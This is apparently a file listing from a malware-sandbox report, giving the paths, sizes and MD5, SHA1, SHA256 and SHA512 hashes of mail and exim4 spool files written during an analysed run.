
MD5
727479ef7cedf30c03459bec7d87b0f0

SHA1
2082e7f715f058acab2398d25d135cf5f4c0ce41

SHA256
29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6

SHA512
4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

Download Submit
/var/mail/user

Filesize
843B

MD5
5c16b1ba0f4f8bf1e1959bd3dfba4305

SHA1
01213e4fc377698348acb73a4dfcb53320f48398

SHA256
5bd998e5176000f8667cddc028b5c3485f0cfc27f2ce508faa95a3b21bc5c6f4

SHA512
5b516102ace02ae84ee48d52922875f29eb675e52fea845eb61c31edafd712df8f8ce303f29d4df3359b18d404271ec3a7f8b473372c611b6a17aaf434385b22

Download Submit
/var/mail/user

Filesize
1KB

MD5
aea3e829d04e321b72723d7e78d75e5f

SHA1
83e491da0e2493f2b337189096d80fbfddacb5ab

SHA256
89783cdf7b9177f692866408ccfa88fac46cb97dfa13cd405a8a8c0a8825b6ec

SHA512
7a5c59c211a1aae5e3956ae5fe73521b2ed43c22ab30253db75a63462e70686808da5111583121cdfb08041d1710a40cd9263038d109d6b8e7f17f546c65efb5

Download Submit
/var/spool/exim4/input/1su9He-0000CM-4a-D

Filesize
128B

MD5
a8efb4f2c087b6b55da2146740a4684f

SHA1
793bf32dcd2e95f3e2f63ea4c36a536d7cd7ecdc

SHA256
a228b260df726d1f3cdeefbd9e72b2aacc0e8bfd0e9cdb696536ce4073a4a98c

SHA512
4a1cdd710ee99a6d60dbec00abad739e74280eeea26cfd66b7c0a091707ef8a746641a236ec82fc5522fad7a73cf6ba1575af0c5316f9d4a3f7bfa44a26bdd77

Download Submit
/var/spool/exim4/input/1su9He-0000CP-8P-D

Filesize
146B

MD5
3a74bbb990ccc281fda82cf30d74859f

SHA1
a482f0035a857d11922ade61a4871ffc14900ded

SHA256
8e9351ce490f3e2ef616ce0121b1fe149e6719a05945879d6b4714973109b0f1

SHA512
f599a77f7bbb0f4b73813ef2ea9f9817afbd93472859daa8149f56d88385861fd06f7f93ac6322b92cd4fac286b0e938d32f18027520260416012e411e054f4a

Download Submit
/var/spool/exim4/input/1su9He-0000CP-8P-J

Filesize
34B

MD5
d7d96d63d643a4ce3e408eba7dfcedc5

SHA1
c53607f95c5c57beafc1d8266646797a035f76ea

SHA256
21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159

SHA512
703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

Download Submit
/var/spool/exim4/input/hdr.766

Filesize
915B

MD5
d66c1ed76d079aa9dea28f39ee27d905

SHA1
f7dc13dff3716767485055004bd2b3a8c10a38d3

SHA256
45030af466eb4af43ff952909919e45a7f256eb702a8a66572162f8205caf4ba

SHA512
5037f1c1b983308d4af5e8377641c1f64f4b360216f3f7ec13b42f4be66245508bd90f32f3395546fe998dcd93ec74388ffa8f2b728fa69c3d32d6ca3bae4aa6

Download Submit
/var/spool/exim4/input/hdr.769

Filesize
915B

MD5
02df02f8863287a8e6ddcd71815aea66

SHA1
2439e9beecdef523e1b974102799861a5992db2a

SHA256
782d439330b5f9686f4a5039224bfea72b210fb71b37e2b61118e11279d8062c

SHA512
d2ca1f0d28f7bcc693be214bc449c8b23dbaec73005475f5f51a9ff291d6bc89ebb3633342cd9ce252700e9ec48d86aab5c80f3592fcdc245a19826e20feab65

Download Submit
/var/spool/exim4/msglog/1su9He-0000CM-4a

Filesize
288B

MD5
795b0b27effd3ae65ae6c3c6f34f27e5

SHA1
e800b070dae1ca98a50ef1e903e81fe8595a39ba

SHA256
cf1bf07df849df7a1ea0c78501542c0368576b6c09ff494d9615afc33837deb4

SHA512
57c4ca272e37a4ae63373f473e632437a27a14d49f818b582784399f74d683e7320293afd39766c5b5e4f2ea2911db35503f10ba8b6d7dde3ac6ba09fc85f547

Download Submit
/var/spool/exim4/msglog/1su9He-0000CM-4a

Filesize
89B

MD5
0d041e76a183fe7b82d31a0acfd47624

SHA1
35039740b4d0c34cc1b49819d85bb439999609a4

SHA256
fb4f9bb680044a1d129ae9dcf1e580c7039ab91ceacb51fef2ae0383d3eb1023

SHA512
8d1271c288c90071732e1cddbc35a132c83f6f91a84b02f3f80377692d64ab2b58ec8008341f4d280ee652f81cd7763318755fdfbd1b914f2733745c1645910b

Download Submit
/var/spool/exim4/msglog/1su9He-0000CP-8P

Filesize
89B

MD5
33acdec56883cec739ef407e770c1b6b

SHA1
c5b954b81629973729f60da826dbae9fc4ad54d9

SHA256
5aefc64e7b4bf9573b812b5128d89bd7623007e0f253ad1f0219b1182e7495b6

SHA512
187c1ce04e3d5938a9122957ca949cf5ff7993b96b867590ade756d5d7fd2b64853d300ff9d41165b0bd42cbd0f3d44a233a6b697544927509bb72b057de1917

Download Submit
/var/spool/exim4/msglog/1su9He-0000CP-8P

Filesize
288B

MD5
e002c88c321fbd70f08d1e8b09cb0b31

SHA1
3618272b0b31ba28f290758523a9c02544843342

SHA256
e4f2a2ec9d84d1139114428506a5c95679f1bf3aa0b303a25a52118598919469

SHA512
825bc0da70059ba7cbefbcc0b82e3183facfdfb75acde0d0018f716d80020440c0fd742c7e3fe5ffdca1ea6c4cc00dadd740cb645e515df8e07886b6583b98c3

Download Submit